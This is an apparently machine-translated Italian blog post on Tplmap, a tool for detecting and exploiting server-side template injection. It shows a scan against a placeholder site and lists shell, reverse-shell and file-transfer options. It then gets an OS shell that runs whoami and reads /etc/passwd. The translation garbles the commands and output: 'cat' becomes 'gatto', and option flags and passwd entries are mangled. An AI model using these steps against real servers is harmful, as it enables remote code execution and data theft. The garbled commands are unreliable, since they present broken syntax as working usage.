Tplmap – identificare e utilizzare il motore dei modelli

Tplmap

Quando si esegue un test di penetrazione di una pagina Web che genera contenuto dinamico utilizzando modelli con valori forniti dall'utente, è possibile che si riscontri una vulnerabilità di inserimento di modelli sul lato server. L'identificazione manuale del motore modello con cui si sta trattando e il successivo sfruttamento possono essere facilmente automatizzati utilizzando lo strumento Tplmap.

Tplmap è in grado di rilevare e utilizzare SSTI in diversi tipi di motori modello. Ha funzionalità come la navigazione nel file system e l'esecuzione remota di comandi sul server attaccato.

$ ./tplmap.py -u «http://www.target.com/page?name=John»
[+] Tplmap 0.5
    Strumento automatico di rilevamento e sfruttamento dell'iniezione di modelli sul lato server

[+] Verifica se il parametro GET 'nome' è iniettabile
[+] Il plug-in Smarty sta testando il rendering con tag '{*}'
[+] Il plug-in Smarty sta testando l'iniezione cieca
[+] Il plug-in Mako sta testando il rendering con tag '${*}'
...
[+] Il plug-in Jinja2 sta testando il rendering con tag '{{*}}'
[+] Il plug-in Jinja2 ha confermato l'iniezione con tag '{{*}}'
[+] Tplmap ha identificato il seguente punto di iniezione:

Parametro GET: nome
  Motore: Jinja2
  Iniezione: {{*}}
  Contesto: testo
  Sistema operativo: linux
  Tecnica: rendering
  Funzionalità:

Esecuzione del comando shell: circa
   Guscio di legare e invertire: circa
   Scrittura file: ok
   Lettura file: ok
   Valutazione del codice: ok, codice python

[+] Rieseguire tplmap fornendo una delle opzioni seguenti:

--shell del sistema operativo Esegui shell sulla destinazione
    --comandi della shell di esecuzione os-cmd
    --bind-shell PORT Connettersi a una shell associazione a una porta di destinazione
    --PORTA HOST a shell inversa Inviare una shell alla porta dell'utente malintenzionato
    --caricare file DI CARICAMENTO REMOTO LOCALE nel server
    --scarica REMOTE LOCAL Scarica file remoti

Utilizzare l'opzione --os-shell per eseguire lo pseudoterminale sulla destinazione.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0.5
    Strumento automatico di rilevamento e sfruttamento dell'iniezione di modelli sul lato server

[+] Eseguire comandi nel sistema operativo.

linux $ whoami
ragnatela
linux $ gatto /etc/passwd
radice:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
collocazione:x:2:2:collocazione:/collocazione:/collocazione/sh

Tplmap supporta più di 15 motori modello:

motoreEsecuzione remota dei comandiciecoValutazione del codiceFile di letturaScrivi nel file
Mako✓✓pitone✓✓
Jinja2✓✓pitone✓✓
Python (valutazione del codice)✓✓pitone✓✓
tornado✓✓pitone✓✓
Nunjucks✓✓Codice JavaScript✓✓
carlino✓✓Codice JavaScript✓✓
punto✓✓Codice JavaScript✓✓
Marko✓✓Codice JavaScript✓✓
JavaScript (valutazione del codice)✓✓Codice JavaScript✓✓
Polvere (<= [email protected])✓✓Codice JavaScript✓✓
EJS✓✓Codice JavaScript✓✓
Ruby (codice eval)✓✓rubino✓✓
snello✓✓rubino✓✓
erbio✓✓rubino✓✓
Smarty (non protetto)✓✓PHP✓✓
PHP (valutazione del codice)✓✓PHP✓✓
Ramoscello (<=1.19)✓✓PHP✓✓
Segno di spunta✓✓×✓✓
Velocity✓✓×✓✓
Ramoscello (>1.19)×××××
Smarty (protetto)×××××
Polvere (> [email protected])×××××

Tplmap può essere trovato sul creatore github – tplmap.

Aggiungi ai preferiti : permalink.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *